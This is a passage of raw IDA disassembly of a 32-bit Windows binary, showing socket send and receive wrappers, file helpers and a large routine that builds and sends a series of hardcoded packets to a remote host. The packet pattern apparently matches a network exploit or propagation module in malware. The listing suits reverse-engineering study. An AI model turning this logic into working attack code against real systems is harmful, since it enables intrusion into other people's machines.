		lea	eax, [ebp+var_20]
		call	sub_405064
		lea	eax, [ebp+var_20]
		call	sub_4050C4
		lea	esi, [ebp+var_8]
		call	sub_404F53
		lea	esi, [ebp+var_28]
		call	sub_404F53
		lea	esi, [ebp+var_30]
		call	sub_404F53
		push	ebx
		lea	eax, [ebp+var_848]
		push	41h
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch
		push	400h
		lea	eax, [ebp+var_848]
		push	eax
		lea	eax, [ebp+var_18]
		call	sub_405064
		lea	edi, [ebp+var_18]
		call	sub_404FEB
		push	2
		push	offset dword_42FE18
		mov	eax, edi
		call	sub_405064
		push	[ebp+var_1C]
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, edi
		call	sub_405064
		mov	eax, edi
		call	sub_4050C4
		lea	esi, [ebp+var_20]
		call	sub_404F53
		push	[ebp+var_14]
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_10]
		call	sub_405064
		lea	esi, [ebp+var_10]
		call	sub_404F68
		mov	esi, edi
		call	sub_404F53
		push	offset dword_42FE14
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_405099
		push	[ebp+var_C]
		mov	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		call	sub_405064
		lea	esi, [ebp+var_8]
		call	sub_404F68
		lea	esi, [ebp+var_10]
		call	sub_404F53
		push	offset dword_42FE10
		mov	eax, esi
		push	eax
		call	sub_405099
		push	[ebp+var_4]
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, esi
		call	sub_405064
		call	sub_404F68
		lea	esi, [ebp+var_8]
		call	sub_404F53
		push	offset dword_42FE04
		mov	eax, esi
		push	eax
		call	sub_405099
		push	[ebp+var_C]
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, esi
		call	sub_405064
		call	sub_404F68
		lea	esi, [ebp+var_10]
		call	sub_404F53
		push	offset asc_42FE00 ; "`"
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_405099
		push	[ebp+var_4]
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_40]
		call	sub_405064
		lea	esi, [ebp+var_8]
		call	sub_404F53
		mov	ecx, [ebp+var_40]
		mov	eax, [ebp+arg_0]
		mov	[eax], ecx
		mov	ecx, [ebp+var_3C]
		mov	[eax+4], ecx
		jmp	short loc_405479
; ---------------------------------------------------------------------------

loc_405471:				; CODE XREF: sub_405123+22j
					; sub_405123+2Dj
		mov	eax, [ebp+arg_0]
		mov	[eax], esi
		mov	[eax+4], edx

loc_405479:				; CODE XREF: sub_405123+34Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405123	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40547E	proc near		; CODE XREF: sub_40553D+A0p
					; sub_40553D+C0p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		xor	edi, edi
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_4292D4	; select
		cmp	eax, edi
		pop	edi
		jnz	short loc_4054E2
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_41B758	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4054E6

loc_4054E2:				; CODE XREF: sub_40547E+51j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4054E6:				; CODE XREF: sub_40547E+62j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_4292D8	; recv
		leave
		retn
sub_40547E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054F8	proc near		; CODE XREF: sub_40553D+81p
					; sub_40553D+AAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	[ebp+arg_8]
		call	ds:dword_4292D0	; htonl
		mov	esi, ds:dword_4292E0
		push	0
		mov	[ebp+var_4], eax
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	esi	; send
		cmp	eax, 4
		jz	short loc_405525
		xor	al, al
		jmp	short loc_40553A
; ---------------------------------------------------------------------------

loc_405525:				; CODE XREF: sub_4054F8+27j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax

loc_40553A:				; CODE XREF: sub_4054F8+2Bj
		pop	esi
		leave
		retn
sub_4054F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40553D	proc near		; CODE XREF: sub_405615+44p
					; sub_405664+73p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		lea	ebx, [esi+41h]
		push	edi
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41D0C4
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_405566
		xor	al, al
		jmp	loc_405610
; ---------------------------------------------------------------------------

loc_405566:				; CODE XREF: sub_40553D+20j
		push	ebx
		push	0
		push	edi
		call	sub_41C6D0
		push	2Fh
		push	offset dword_435380
		push	edi
		call	sub_41BC60
		push	8
		lea	eax, [edi+31h]
		push	offset dword_435374
		push	eax
		mov	[edi+2Fh], si
		call	sub_41BC60
		push	esi
		push	[ebp+arg_4]
		lea	ebx, [edi+3Bh]
		push	ebx
		mov	[edi+39h], si
		call	sub_41BC60
		push	6
		push	offset dword_4381F8
		add	ebx, esi
		push	ebx
		call	sub_41BC60
		mov	esi, [ebp+arg_0]
		push	85h
		push	offset dword_4353B0
		push	esi
		call	sub_4054F8
		add	esp, 48h
		test	al, al
		jnz	short loc_4055CE

loc_4055CA:				; CODE XREF: sub_40553D+B4j
		xor	bl, bl
		jmp	short loc_405607
; ---------------------------------------------------------------------------

loc_4055CE:				; CODE XREF: sub_40553D+8Bj
		push	0
		mov	ebx, 100h
		lea	eax, [ebp+var_104]
		push	ebx
		push	eax
		call	sub_40547E
		push	[ebp+var_4]
		push	edi
		push	esi
		call	sub_4054F8
		add	esp, 18h
		test	al, al
		jz	short loc_4055CA
		push	0
		lea	eax, [ebp+var_104]
		push	ebx
		push	eax
		call	sub_40547E
		add	esp, 0Ch
		mov	bl, 1

loc_405607:				; CODE XREF: sub_40553D+8Fj
		push	edi
		call	sub_41C2DD
		pop	ecx
		mov	al, bl

loc_405610:				; CODE XREF: sub_40553D+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40553D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405615	proc near		; CODE XREF: sub_4056EB+73p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	0
		push	48h
		mov	esi, eax
		push	offset unk_435328
		push	esi
		call	ds:dword_4292E0	; send
		cmp	eax, 48h
		jnz	short loc_40564E
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		call	sub_40547E
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40564E
		cmp	[ebp+var_20], 82h
		jz	short loc_405652

loc_40564E:				; CODE XREF: sub_405615+1Cj
					; sub_405615+31j
		xor	al, al
		jmp	short loc_405661
; ---------------------------------------------------------------------------

loc_405652:				; CODE XREF: sub_405615+37j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_40553D
		add	esp, 0Ch

loc_405661:				; CODE XREF: sub_405615+3Bj
		pop	esi
		leave
		retn
sub_405615	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405664	proc near		; DATA XREF: .text:00430724o

var_57C		= byte ptr -57Ch
var_124		= dword	ptr -124h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 57Ch
		push	esi
		push	edi
		lea	esi, [ecx+10h]
		push	0FFFFFFFFh
		push	ds:dword_43819C
		mov	ecx, 15Dh
		lea	edi, [ebp+var_57C]
		rep movsd
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, ds:dword_4381B0
		test	eax, eax
		jnz	short loc_4056A4
		push	ds:dword_43819C
		call	ds:dword_429138	; ReleaseMutex
		jmp	short loc_4056E7
; ---------------------------------------------------------------------------

loc_4056A4:				; CODE XREF: sub_405664+30j
		push	dword ptr [eax]
		mov	eax, [eax+4]
		push	164h
		lea	ecx, [ebp+var_8]
		push	offset sub_434350
		push	ecx
		call	sub_405123
		add	esp, 10h
		push	ds:dword_43819C
		call	ds:dword_429138	; ReleaseMutex
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_124]
		call	sub_40553D
		add	esp, 0Ch
		lea	esi, [ebp+var_8]
		call	sub_404F53

loc_4056E7:				; CODE XREF: sub_405664+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_405664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056EB	proc near		; DATA XREF: .text:00430714o

var_57C		= byte ptr -57Ch
var_124		= dword	ptr -124h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 57Ch
		push	esi
		push	edi
		lea	esi, [ecx+10h]
		push	0FFFFFFFFh
		push	ds:dword_43819C
		mov	ecx, 15Dh
		lea	edi, [ebp+var_57C]
		rep movsd
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, ds:dword_4381B0
		test	eax, eax
		jnz	short loc_40572B
		push	ds:dword_43819C
		call	ds:dword_429138	; ReleaseMutex
		jmp	short loc_40576D
; ---------------------------------------------------------------------------

loc_40572B:				; CODE XREF: sub_4056EB+30j
		push	dword ptr [eax]
		mov	eax, [eax+4]
		push	164h
		lea	ecx, [ebp+var_8]
		push	offset sub_434350
		push	ecx
		call	sub_405123
		add	esp, 10h
		push	ds:dword_43819C
		call	ds:dword_429138	; ReleaseMutex
		push	[ebp+var_4]
		mov	eax, [ebp+var_124]
		push	[ebp+var_8]
		call	sub_405615
		pop	ecx
		pop	ecx
		lea	esi, [ebp+var_8]
		call	sub_404F53

loc_40576D:				; CODE XREF: sub_4056EB+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_4056EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_405771	proc near		; DATA XREF: .text:004306D4o

var_8F40	= byte ptr -8F40h
var_8ED8	= byte ptr -8ED8h
var_6E68	= byte ptr -6E68h
var_6DF8	= byte ptr -6DF8h
var_6334	= byte ptr -6334h
var_4D90	= byte ptr -4D90h
var_4D8F	= byte ptr -4D8Fh
var_3CFC	= byte ptr -3CFCh
var_3238	= byte ptr -3238h
var_3237	= byte ptr -3237h
var_3234	= byte ptr -3234h
var_31B8	= byte ptr -31B8h
var_29E8	= byte ptr -29E8h
var_253D	= byte ptr -253Dh
var_2250	= byte ptr -2250h
var_1A6C	= byte ptr -1A6Ch
var_1A5C	= byte ptr -1A5Ch
var_1738	= byte ptr -1738h
var_1734	= byte ptr -1734h
var_1728	= byte ptr -1728h
var_14A0	= byte ptr -14A0h
var_1400	= byte ptr -1400h
var_CF4		= dword	ptr -0CF4h
var_CE4		= byte ptr -0CE4h
var_CD0		= byte ptr -0CD0h
var_CA0		= byte ptr -0CA0h
var_690		= byte ptr -690h
var_11C		= byte ptr -11Ch
var_11B		= byte ptr -11Bh
var_CC		= byte ptr -0CCh
var_C9		= byte ptr -0C9h
var_9F		= byte ptr -9Fh
var_9D		= byte ptr -9Dh
var_9C		= byte ptr -9Ch
var_54		= byte ptr -54h
var_2C		= byte ptr -2Ch
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	eax, 8F40h
		lea	ebp, [esp-78h]
		call	sub_41E090
		mov	eax, ds:dword_42FE54
		push	esi
		mov	[ebp+78h+var_18], eax
		mov	eax, ds:dword_42FE58
		push	edi
		lea	esi, [ecx+10h]
		mov	[ebp+78h+var_14], eax
		lea	eax, [ebp+78h+var_690]
		mov	ecx, 15Dh
		lea	edi, [ebp+78h+var_690]
		push	eax
		rep movsd
		mov	[ebp+78h+var_10], 7515123Ch
		mov	[ebp+78h+var_C], 1004600h
		call	sub_414B44
		push	eax
		call	ds:dword_429274	; inet_ntoa
		push	eax
		lea	eax, [ebp+78h+var_54]
		push	offset loc_42FE48
		push	eax
		call	sub_41CA2D
		add	esp, 0Ch
		xor	eax, eax

loc_4057D7:				; CODE XREF: sub_405771+7Dj
		mov	cl, [ebp+eax+78h+var_54]
		mov	[ebp+eax*2+78h+var_11C], cl
		mov	[ebp+eax*2+78h+var_11B], 0
		inc	eax
		cmp	eax, 28h
		jb	short loc_4057D7
		push	60h
		lea	eax, [ebp+78h+var_CC]
		push	offset dword_4346D8
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+78h+var_54]
		push	eax
		call	sub_41C350
		shl	eax, 1
		push	eax
		lea	eax, [ebp+78h+var_11C]
		push	eax
		lea	eax, [ebp+78h+var_9C]
		push	eax
		call	sub_41BC60
		add	esp, 1Ch
		push	9
		lea	eax, [ebp+78h+var_54]
		push	(offset	aC_0+3)
		push	eax
		call	sub_41C350
		pop	ecx
		lea	eax, [ebp+eax*2+78h+var_9D]
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+78h+var_54]
		push	eax
		call	sub_41C350
		lea	eax, [eax+eax+34h]
		mov	[ebp+78h+var_8], eax
		push	1
		lea	eax, [ebp+78h+var_8]
		push	eax
		lea	eax, [ebp+78h+var_C9]
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+78h+var_54]
		push	eax
		call	sub_41C350
		lea	eax, [eax+eax+9]
		mov	[ebp+78h+var_1C], eax
		push	1
		lea	eax, [ebp+78h+var_1C]
		push	eax
		lea	eax, [ebp+78h+var_9F]
		push	eax
		call	sub_41BC60
		add	esp, 2Ch
		push	89h
		push	offset dword_4344B8
		lea	edi, [ebp+78h+var_690]
		call	sub_414C2D
		cmp	eax, 0FFFFFFFFh
		jz	loc_405C8E
		push	ebx
		mov	ebx, 640h
		push	ebx
		lea	eax, [ebp+78h+var_CD0]
		push	eax
		mov	esi, edi
		call	sub_414D0B
		push	0A8h
		push	offset dword_434548
		call	sub_414C2D
		cmp	eax, 0FFFFFFFFh
		jz	loc_405C8D
		push	ebx
		lea	eax, [ebp+78h+var_CD0]
		push	eax
		call	sub_414D0B
		push	0DEh
		push	offset dword_4345F8
		call	sub_414C2D
		cmp	eax, 0FFFFFFFFh
		jz	loc_405C8D
		push	ebx
		lea	eax, [ebp+78h+var_CD0]
		push	eax
		call	sub_414D0B
		xor	eax, eax

loc_4058FA:				; CODE XREF: sub_405771+198j
		mov	cl, [ebp+eax*2+78h+var_CA0]
		mov	[ebp+eax+78h+var_2C], cl
		inc	eax
		cmp	eax, 0Ch
		jb	short loc_4058FA
		lea	eax, [ebp+78h+var_2C]
		push	(offset	loc_42FE40+4)
		push	eax
		mov	[ebp+78h+var_20], 0
		call	sub_41CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405B17
		mov	esi, 0DACh
		push	esi
		mov	ebx, 90h
		lea	eax, [ebp+78h+var_2250]
		push	ebx
		push	eax
		mov	[ebp+78h+var_1], 0
		call	sub_41C6D0
		push	4
		lea	eax, [ebp+78h+var_10]
		push	eax
		lea	eax, [ebp+78h+var_1A6C]
		push	eax
		call	sub_41BC60
		add	esp, 18h
		push	0FFFFFFFFh
		push	ds:dword_43819C
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, ds:dword_4381B0
		test	eax, eax
		jz	loc_405B64
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+78h+var_1A5C]
		push	eax
		call	sub_41BC60
		push	4
		lea	eax, [ebp+78h+var_1738]
		push	offset loc_42FE38
		push	eax
		call	sub_41BC60
		push	4
		lea	eax, [ebp+78h+var_10]
		push	eax
		lea	eax, [ebp+78h+var_1734]
		push	eax
		call	sub_41BC60
		mov	eax, ds:dword_4381B0
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+78h+var_1728]
		push	eax
		call	sub_41BC60
		add	esp, 30h
		push	ds:dword_43819C
		call	ds:dword_429138	; ReleaseMutex
		xor	eax, eax

loc_4059D0:				; CODE XREF: sub_405771+278j
		mov	cl, [ebp+eax+78h+var_2250]
		mov	[ebp+eax*2+78h+var_4D90], cl
		mov	[ebp+eax*2+78h+var_4D8F], 0
		inc	eax
		cmp	eax, esi
		jb	short loc_4059D0
		mov	esi, 1C52h
		push	esi
		lea	eax, [ebp+78h+var_8F40]
		push	31h
		push	eax
		mov	[ebp+78h+var_3238], 0
		mov	[ebp+78h+var_3237], 0
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+78h+var_6E68]
		push	31h
		push	eax
		call	sub_41C6D0
		add	esp, 18h

loc_405A1F:				; CODE XREF: sub_405771+44Aj
		push	0E29h
		lea	eax, [ebp+78h+var_3234]
		push	31h
		push	eax
		call	sub_41C6D0
		mov	eax, [ebp+78h+var_8]
		add	esp, 0Ch
		add	eax, 4
		push	eax
		lea	eax, [ebp+78h+var_CC]
		push	eax
		lea	edi, [ebp+78h+var_690]
		call	sub_414C2D
		cmp	eax, 0FFFFFFFFh
		jz	loc_405C8D
		push	640h
		lea	eax, [ebp+78h+var_CD0]
		push	eax
		mov	esi, edi
		call	sub_414D0B
		push	68h
		push	offset dword_434740
		call	sub_414C2D
		cmp	eax, 0FFFFFFFFh
		jz	loc_405C8D
		push	640h
		lea	eax, [ebp+78h+var_CD0]
		push	eax
		call	sub_414D0B
		push	0A0h
		push	offset dword_4347B0
		call	sub_414C2D
		cmp	eax, 0FFFFFFFFh
		jz	loc_405C8D
		push	640h
		lea	eax, [ebp+78h+var_CD0]
		push	eax
		call	sub_414D0B
		cmp	[ebp+78h+var_1], 1
		jnz	loc_405BC0
		push	7Ch
		lea	eax, [ebp+78h+var_3234]
		push	offset dword_434858
		push	eax
		call	sub_41BC60
		push	7D0h
		lea	eax, [ebp+78h+var_14A0]
		push	eax
		lea	eax, [ebp+78h+var_31B8]
		push	eax
		call	sub_41BC60
		push	ebx
		lea	eax, [ebp+78h+var_29E8]
		push	offset off_4348D8
		push	eax
		call	sub_41BC60
		add	esp, 24h
		mov	[ebp+78h+var_253D], 0
		push	0CF8h
		lea	eax, [ebp+78h+var_3234]
		jmp	loc_405C69
; ---------------------------------------------------------------------------

loc_405B17:				; CODE XREF: sub_405771+1B0j
		lea	eax, [ebp+78h+var_2C]
		push	offset loc_42FE40
		push	eax
		call	sub_41CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405C8D
		push	7D0h
		mov	ebx, 90h
		lea	eax, [ebp+78h+var_14A0]
		push	ebx
		push	eax
		mov	[ebp+78h+var_1], 1
		call	sub_41C6D0
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	ds:dword_43819C
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, ds:dword_4381B0
		test	eax, eax
		jnz	short loc_405B75

loc_405B64:				; CODE XREF: sub_405771+1FCj
		push	ds:dword_43819C
		call	ds:dword_429138	; ReleaseMutex
		jmp	loc_405C8D
; ---------------------------------------------------------------------------

loc_405B75:				; CODE XREF: sub_405771+3F1j
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+78h+var_1400]
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		push	ds:dword_43819C
		call	ds:dword_429138	; ReleaseMutex
		lea	eax, [ebp+78h+var_18]
		push	eax
		call	sub_41C350
		push	eax
		lea	eax, [ebp+78h+var_18]
		push	eax
		lea	eax, [ebp+78h+var_CE4]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+78h+var_C]
		add	esp, 10h
		mov	[ebp+78h+var_CF4], eax
		jmp	loc_405A1F
; ---------------------------------------------------------------------------

loc_405BC0:				; CODE XREF: sub_405771+349j
		push	68h
		lea	eax, [ebp+78h+var_8F40]
		push	offset dword_434970
		push	eax
		call	sub_41BC60
		push	1B5Ah
		lea	eax, [ebp+78h+var_4D90]
		push	eax
		lea	eax, [ebp+78h+var_8ED8]
		push	eax
		call	sub_41BC60
		push	70h
		lea	eax, [ebp+78h+var_6E68]
		push	offset dword_4349E0
		push	eax
		call	sub_41BC60
		push	0A5Eh
		lea	eax, [ebp+78h+var_3CFC]
		push	eax
		lea	eax, [ebp+78h+var_6DF8]
		push	eax
		call	sub_41BC60
		push	84h
		lea	eax, [ebp+78h+var_6334]
		push	offset dword_434A58
		push	eax
		call	sub_41BC60
		add	esp, 3Ch
		push	10FCh
		lea	eax, [ebp+78h+var_8F40]
		push	eax
		lea	edi, [ebp+78h+var_690]
		call	sub_414C2D
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405C8D
		push	640h
		lea	eax, [ebp+78h+var_CD0]
		push	eax
		mov	esi, edi
		call	sub_414D0B
		push	0FDCh
		lea	eax, [ebp+78h+var_6E68]

loc_405C69:				; CODE XREF: sub_405771+3A1j
		lea	edi, [ebp+78h+var_690]
		push	eax
		call	sub_414C2D
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405C8D
		push	640h
		lea	eax, [ebp+78h+var_CD0]
		push	eax
		mov	esi, edi
		call	sub_414D0B

loc_405C8D:				; CODE XREF: sub_405771+14Fj
					; sub_405771+174j ...
		pop	ebx

loc_405C8E:				; CODE XREF: sub_405771+122j
		pop	edi
		pop	esi
		add	ebp, 78h
		leave
		retn
sub_405771	endp


; =============== S U B	R O U T	I N E =======================================



sub_405C95	proc near		; CODE XREF: .text:00408BE3p
					; sub_40F0E9+24p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		call	sub_405CD8
		mov	eax, esi
		retn	4
sub_405C95	endp

; ---------------------------------------------------------------------------

loc_405CA8:				; CODE XREF: .text:004279CEj
					; .text:00427A68j ...
		jmp	sub_405CF2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405CAD	proc near		; CODE XREF: sub_402382+4Bp
					; sub_405CD8+12p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		call	sub_405CF2
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4290F4	; CreateFileA
		mov	[esi], eax
		pop	esi
		pop	ebp
		retn	14h
sub_405CAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_405CD8	proc near		; CODE XREF: sub_404B0D+3Bp
					; sub_405C95+9p ...

arg_0		= dword	ptr  4

		push	80h
		push	4
		push	3
		push	0C0000000h
		push	[esp+10h+arg_0]
		call	sub_405CAD
		retn	4
sub_405CD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_405CF2	proc near		; CODE XREF: sub_402382+76p
					; sub_402382+7Bp ...
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFFh
		jz	short locret_405D03
		push	eax
		call	ds:dword_4290F0	; CloseHandle
		or	dword ptr [esi], 0FFFFFFFFh

locret_405D03:				; CODE XREF: sub_405CF2+5j
		retn
sub_405CF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_405D04	proc near		; CODE XREF: sub_405D1D+10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		push	dword ptr [eax]
		call	ds:dword_429108	; ReadFile
		retn	0Ch
sub_405D04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D1D	proc near		; CODE XREF: sub_402382+6Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_405D04
		pop	ebp
		retn	0Ch
sub_405D1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_405D36	proc near		; CODE XREF: sub_405D4F+10p
					; sub_407466+22Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		push	dword ptr [eax]
		call	ds:dword_429104	; WriteFile
		retn	0Ch
sub_405D36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D4F	proc near		; CODE XREF: sub_405D68+33p
					; .text:0040B3C8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_405D36
		pop	ebp
		retn	0Ch
sub_405D4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D68	proc near		; CODE XREF: .text:00408C3Ep
					; .text:00408C55p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		call	sub_41D258
		mov	esi, eax
		lea	eax, [esi+1]
		push	eax
		call	sub_41BA91
		mov	edi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	sub_41D201
		add	esp, 18h
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_405D4F
		push	edi
		mov	esi, eax
		call	sub_41C7B8
		pop	ecx
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_405D68	endp


; =============== S U B	R O U T	I N E =======================================



sub_405DAF	proc near		; CODE XREF: .text:00408BF0p
		push	2
		push	0
		push	0
		push	dword ptr [eax]
		call	ds:dword_4290FC	; SetFilePointer
		retn
sub_405DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DBE	proc near		; CODE XREF: .text:0040AA5Dp
					; .text:00416E8Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_C]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_4290FC	; SetFilePointer
		leave
		retn	10h
sub_405DBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DE6	proc near		; CODE XREF: sub_40F0E9+4Ep
					; sub_40F0E9+6Ep

var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	edi
		mov	edi, ds:dword_4291BC
		xor	ebx, ebx
		push	ebx
		push	dword ptr [esi]
		mov	[ebp+var_4], ebx
		call	edi	; GetFileSize
		test	eax, eax
		jbe	short loc_405E5B

loc_405E05:				; CODE XREF: sub_405DE6+73j
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		push	dword ptr [esi]
		call	ds:dword_429108	; ReadFile
		test	eax, eax
		jz	short loc_405E5B
		mov	ecx, [ebp+var_8]
		xor	eax, eax
		test	ecx, ecx
		jbe	short loc_405E4D

loc_405E2C:				; CODE XREF: sub_405DE6+65j
		mov	edx, [ebp+arg_0]
		mov	dl, [ebx+edx]
		cmp	dl, [ebp+eax+var_408]
		jnz	short loc_405E46
		inc	ebx
		cmp	ebx, [ebp+arg_4]
		jnz	short loc_405E48
		xor	eax, eax
		inc	eax
		jmp	short loc_405E5D
; ---------------------------------------------------------------------------

loc_405E46:				; CODE XREF: sub_405DE6+53j
